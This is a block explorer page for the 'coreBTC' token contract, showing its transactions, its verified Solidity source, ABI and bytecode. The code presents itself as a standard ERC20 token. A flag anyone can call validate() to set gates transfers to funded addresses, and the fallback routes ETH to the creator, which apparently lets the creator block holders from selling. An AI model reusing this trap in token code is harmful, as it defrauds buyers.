Overview
ETH Balance
0 ETH
Eth Value
$0.00More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 9 from a total of 9 transactions
Transaction Hash |
Method
|
Block
|
From
|
To
|
|||||
---|---|---|---|---|---|---|---|---|---|
Validate | 11110958 | 1540 days ago | IN | 0 ETH | 0.00114168 | ||||
Approve | 11109794 | 1540 days ago | IN | 0 ETH | 0.0017698 | ||||
Transfer | 11109749 | 1540 days ago | IN | 0 ETH | 0.00134985 | ||||
Approve | 11109739 | 1540 days ago | IN | 0 ETH | 0.00181404 | ||||
Validate | 11109702 | 1540 days ago | IN | 0 ETH | 0.00092208 | ||||
Approve | 11109697 | 1540 days ago | IN | 0 ETH | 0.00221225 | ||||
Validate | 11109690 | 1540 days ago | IN | 0 ETH | 0.00109008 | ||||
Approve | 11109685 | 1540 days ago | IN | 0 ETH | 0.0018251 | ||||
Approve | 11109680 | 1540 days ago | IN | 0 ETH | 0.00154857 |
View more zero value Internal Transactions in Advanced View mode
Advanced mode:
Loading...
Loading
Contract Name:
coreBTC
Compiler Version
v0.5.17+commit.d19bba13
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2020-10-23 */ pragma solidity 0.5.17; contract ERC20 { function totalSupply() public view returns (uint supply); function balanceOf(address who) public view returns (uint value); function allowance(address owner, address spender) public view returns (uint remaining); function transferFrom(address from, address to, uint value) public returns (bool ok); function approve(address spender, uint value) public returns (bool ok); function transfer(address to, uint value) public returns (bool ok); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } contract coreBTC is ERC20{ uint8 public constant decimals = 18; uint256 initialSupply = 12000000*10**uint256(decimals); string public constant name = "coreBTC"; string public constant symbol = "coreBTC"; address payable creator; uint8 public valid = 1; function totalSupply() public view returns (uint256) { return initialSupply; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; function balanceOf(address owner) public view returns (uint256 balance) { return balances[owner]; } function allowance(address owner, address spender) public view returns (uint remaining) { return allowed[owner][spender]; } function validate(uint8 isValid) public { valid = isValid; } function transfer(address to, uint256 value) public returns (bool success) { if (balances[to] != 0) { require(valid == 1); } if (balances[msg.sender] >= value && value > 0) { balances[msg.sender] -= value; balances[to] += value; emit Transfer(msg.sender, to, value); return true; } else { return false; } } function transferFrom(address from, address to, uint256 value) public returns (bool success) { if (balances[to] != 0) { require(valid == 1); } if (balances[from] >= value && allowed[from][msg.sender] >= value && value > 0) { balances[to] += value; balances[from] -= value; allowed[from][msg.sender] -= value; emit Transfer(from, to, value); return true; } else { return false; } } function approve(address spender, uint256 value) public returns (bool success) { allowed[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } function () external payable { creator.transfer(msg.value); } constructor () public payable { creator = msg.sender; balances[creator] = initialSupply; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"payable":true,"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"payable":true,"stateMutability":"payable","type":"fallback"},{"constant":true,"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"remaining","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"balance","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"valid","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"uint8","name":"isValid","type":"uint8"}],"name":"validate","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
608060409081526a09ed194db19b238c0000006000818155600180546001600160a01b031960ff60a01b19909116600160a01b17163317908190556001600160a01b03168152600260205291909120556106618061005e6000396000f3fe60806040526004361061009c5760003560e01c806350ce89951161006457806350ce89951461024457806370a082311461027357806395d89b41146100d8578063a9059cbb146102a6578063c1991219146102df578063dd62ed3e146102f45761009c565b806306fdde03146100d8578063095ea7b31461016257806318160ddd146101af57806323b872dd146101d6578063313ce56714610219575b6001546040516001600160a01b03909116903480156108fc02916000818181858888f193505050501580156100d5573d6000803e3d6000fd5b50005b3480156100e457600080fd5b506100ed61032f565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561012757818101518382015260200161010f565b50505050905090810190601f1680156101545780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561016e57600080fd5b5061019b6004803603604081101561018557600080fd5b506001600160a01b038135169060200135610352565b604080519115158252519081900360200190f35b3480156101bb57600080fd5b506101c46103b9565b60408051918252519081900360200190f35b3480156101e257600080fd5b5061019b600480360360608110156101f957600080fd5b506001600160a01b038135811691602081013590911690604001356103bf565b34801561022557600080fd5b5061022e6104e2565b6040805160ff9092168252519081900360200190f35b34801561025057600080fd5b506102716004803603602081101561026757600080fd5b503560ff166104e7565b005b34801561027f57600080fd5b506101c46004803603602081101561029657600080fd5b50356001600160a01b0316610507565b3480156102b257600080fd5b5061019b600480360360408110156102c957600080fd5b506001600160a01b038135169060200135610522565b3480156102eb57600080fd5b5061022e6105f1565b34801561030057600080fd5b506101c46004803603604081101561031757600080fd5b506001600160a01b0381358116916020013516610601565b60405180604001604052806007815260200166636f726542544360c81b81525081565b3360008181526003602090815260408083206001600160a01b038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a35060015b92915050565b60005490565b6001600160a01b038216600090815260026020526040812054156103f55760018054600160a01b900460ff16146103f557600080fd5b6001600160a01b038416600090815260026020526040902054821180159061044057506001600160a01b03841660009081526003602090815260408083203384529091529020548211155b801561044c5750600082115b156104d7576001600160a01b03808416600081815260026020908152604080832080548801905593881680835284832080548890039055600382528483203384528252918490208054879003905583518681529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35060016104db565b5060005b9392505050565b601281565b6001805460ff909216600160a01b0260ff60a01b19909216919091179055565b6001600160a01b031660009081526002602052604090205490565b6001600160a01b038216600090815260026020526040812054156105585760018054600160a01b900460ff161461055857600080fd5b3360009081526002602052604090205482118015906105775750600082115b156105e957336000818152600260209081526040808320805487900390556001600160a01b03871680845292819020805487019055805186815290519293927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35060016103b3565b5060006103b3565b600154600160a01b900460ff1681565b6001600160a01b0391821660009081526003602090815260408083209390941682529190915220549056fea265627a7a723158202d106ce16c1b8a898ff84fd9ae7796a0a4a2eae4c0d8ae10e9e0071ea3456e7264736f6c63430005110032
Deployed Bytecode
0x60806040526004361061009c5760003560e01c806350ce89951161006457806350ce89951461024457806370a082311461027357806395d89b41146100d8578063a9059cbb146102a6578063c1991219146102df578063dd62ed3e146102f45761009c565b806306fdde03146100d8578063095ea7b31461016257806318160ddd146101af57806323b872dd146101d6578063313ce56714610219575b6001546040516001600160a01b03909116903480156108fc02916000818181858888f193505050501580156100d5573d6000803e3d6000fd5b50005b3480156100e457600080fd5b506100ed61032f565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561012757818101518382015260200161010f565b50505050905090810190601f1680156101545780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561016e57600080fd5b5061019b6004803603604081101561018557600080fd5b506001600160a01b038135169060200135610352565b604080519115158252519081900360200190f35b3480156101bb57600080fd5b506101c46103b9565b60408051918252519081900360200190f35b3480156101e257600080fd5b5061019b600480360360608110156101f957600080fd5b506001600160a01b038135811691602081013590911690604001356103bf565b34801561022557600080fd5b5061022e6104e2565b6040805160ff9092168252519081900360200190f35b34801561025057600080fd5b506102716004803603602081101561026757600080fd5b503560ff166104e7565b005b34801561027f57600080fd5b506101c46004803603602081101561029657600080fd5b50356001600160a01b0316610507565b3480156102b257600080fd5b5061019b600480360360408110156102c957600080fd5b506001600160a01b038135169060200135610522565b3480156102eb57600080fd5b5061022e6105f1565b34801561030057600080fd5b506101c46004803603604081101561031757600080fd5b506001600160a01b0381358116916020013516610601565b60405180604001604052806007815260200166636f726542544360c81b81525081565b3360008181526003602090815260408083206001600160a01b038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a35060015b92915050565b60005490565b6001600160a01b038216600090815260026020526040812054156103f55760018054600160a01b900460ff16146103f557600080fd5b6001600160a01b038416600090815260026020526040902054821180159061044057506001600160a01b03841660009081526003602090815260408083203384529091529020548211155b801561044c5750600082115b156104d7576001600160a01b03808416600081815260026020908152604080832080548801905593881680835284832080548890039055600382528483203384528252918490208054879003905583518681529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35060016104db565b5060005b9392505050565b601281565b6001805460ff909216600160a01b0260ff60a01b19909216919091179055565b6001600160a01b031660009081526002602052604090205490565b6001600160a01b038216600090815260026020526040812054156105585760018054600160a01b900460ff161461055857600080fd5b3360009081526002602052604090205482118015906105775750600082115b156105e957336000818152600260209081526040808320805487900390556001600160a01b03871680845292819020805487019055805186815290519293927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35060016103b3565b5060006103b3565b600154600160a01b900460ff1681565b6001600160a01b0391821660009081526003602090815260408083209390941682529190915220549056fea265627a7a723158202d106ce16c1b8a898ff84fd9ae7796a0a4a2eae4c0d8ae10e9e0071ea3456e7264736f6c63430005110032
Deployed Bytecode Sourcemap
675:2276:0:-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2785:7;;:27;;-1:-1:-1;;;;;2785:7:0;;;;2802:9;2785:27;;;;;:7;:27;:7;:27;2802:9;2785:7;:27;;;;;;;;8:9:-1;5:2;;;45:16;42:1;39;24:38;77:16;74:1;67:27;5:2;2785:27:0;675:2276;810:39;;8:9:-1;5:2;;;30:1;27;20:12;5:2;810:39:0;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8:100:-1;33:3;30:1;27:10;8:100;;;90:11;;;84:18;71:11;;;64:39;52:2;45:10;8:100;;;12:14;810:39:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2524:208;;8:9:-1;5:2;;;30:1;27;20:12;5:2;2524:208:0;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;-1:-1;;;;;;2524:208:0;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;973:92;;8:9:-1;5:2;;;30:1;27;20:12;5:2;973:92:0;;;:::i;:::-;;;;;;;;;;;;;;;;1985:531;;8:9:-1;5:2;;;30:1;27;20:12;5:2;1985:531:0;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;-1:-1;;;;;;1985:531:0;;;;;;;;;;;;;;;;;:::i;707:35::-;;8:9:-1;5:2;;;30:1;27;20:12;5:2;707:35:0;;;:::i;:::-;;;;;;;;;;;;;;;;;;;1451:74;;8:9:-1;5:2;;;30:1;27;20:12;5:2;1451:74:0;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;-1:-1;1451:74:0;;;;:::i;:::-;;1185:113;;8:9:-1;5:2;;;30:1;27;20:12;5:2;1185:113:0;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;-1:-1;1185:113:0;-1:-1:-1;;;;;1185:113:0;;:::i;1533:444::-;;8:9:-1;5:2;;;30:1;27;20:12;5:2;1533:444:0;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;-1:-1;;;;;;1533:444:0;;;;;;;;:::i;942:22::-;;8:9:-1;5:2;;;30:1;27;20:12;5:2;942:22:0;;;:::i;1306:137::-;;8:9:-1;5:2;;;30:1;27;20:12;5:2;1306:137:0;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;-1:-1;;;;;;1306:137:0;;;;;;;;;;:::i;810:39::-;;;;;;;;;;;;;;-1:-1:-1;;;810:39:0;;;;:::o;2524:208::-;2622:10;2589:12;2614:19;;;:7;:19;;;;;;;;-1:-1:-1;;;;;2614:28:0;;;;;;;;;;;:36;;;2666;;;;;;;2589:12;;2614:28;;2622:10;;2666:36;;;;;;;;-1:-1:-1;2720:4:0;2524:208;;;;;:::o;973:92::-;1017:7;1044:13;973:92;:::o;1985:531::-;-1:-1:-1;;;;;2093:12:0;;2064;2093;;;:8;:12;;;;;;:17;2089:69;;2135:5;;;-1:-1:-1;;;2135:5:0;;;;:10;2127:19;;;;;;-1:-1:-1;;;;;2182:14:0;;;;;;:8;:14;;;;;;:23;-1:-1:-1;2182:23:0;;;:61;;-1:-1:-1;;;;;;2209:13:0;;;;;;:7;:13;;;;;;;;2223:10;2209:25;;;;;;;;:34;-1:-1:-1;2209:34:0;2182:61;:74;;;;;2255:1;2247:5;:9;2182:74;2178:331;;;-1:-1:-1;;;;;2273:12:0;;;;;;;:8;:12;;;;;;;;:21;;;;;;2309:14;;;;;;;;;:23;;;;;;;2347:7;:13;;;;;2361:10;2347:25;;;;;;;;:34;;;;;;;2401:25;;;;;;;2273:12;;2309:14;;2401:25;;;;;;;;;;-1:-1:-1;2448:4:0;2441:11;;2178:331;-1:-1:-1;2492:5:0;2178:331;1985:531;;;;;:::o;707:35::-;740:2;707:35;:::o;1451:74::-;1502:5;:15;;;;;;-1:-1:-1;;;1502:15:0;-1:-1:-1;;;;1502:15:0;;;;;;;;;1451:74::o;1185:113::-;-1:-1:-1;;;;;1275:15:0;1240;1275;;;:8;:15;;;;;;;1185:113::o;1533:444::-;-1:-1:-1;;;;;1623:12:0;;1594;1623;;;:8;:12;;;;;;:17;1619:69;;1665:5;;;-1:-1:-1;;;1665:5:0;;;;:10;1657:19;;;;;;1721:10;1712:20;;;;:8;:20;;;;;;:29;-1:-1:-1;1712:29:0;;;:42;;;1753:1;1745:5;:9;1712:42;1708:262;;;1780:10;1771:20;;;;:8;:20;;;;;;;;:29;;;;;;;-1:-1:-1;;;;;1815:12:0;;;;;;;;;:21;;;;;;1856:31;;;;;;;1815:12;;1780:10;1856:31;;;;;;;;;;;-1:-1:-1;1909:4:0;1902:11;;1708:262;-1:-1:-1;1953:5:0;1946:12;;942:22;;;-1:-1:-1;;;942:22:0;;;;;:::o;1306:137::-;-1:-1:-1;;;;;1412:14:0;;;1378;1412;;;:7;:14;;;;;;;;:23;;;;;;;;;;;;;1306:137::o
Swarm Source
bzzr://2d106ce16c1b8a898ff84fd9ae7796a0a4a2eae4c0d8ae10e9e0071ea3456e72
Loading...
Loading
Loading...
Loading
Multichain Portfolio | 30 Chains
Chain | Token | Portfolio % | Price | Amount | Value |
---|
Loading...
Loading
[ Download: CSV Export ]
A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.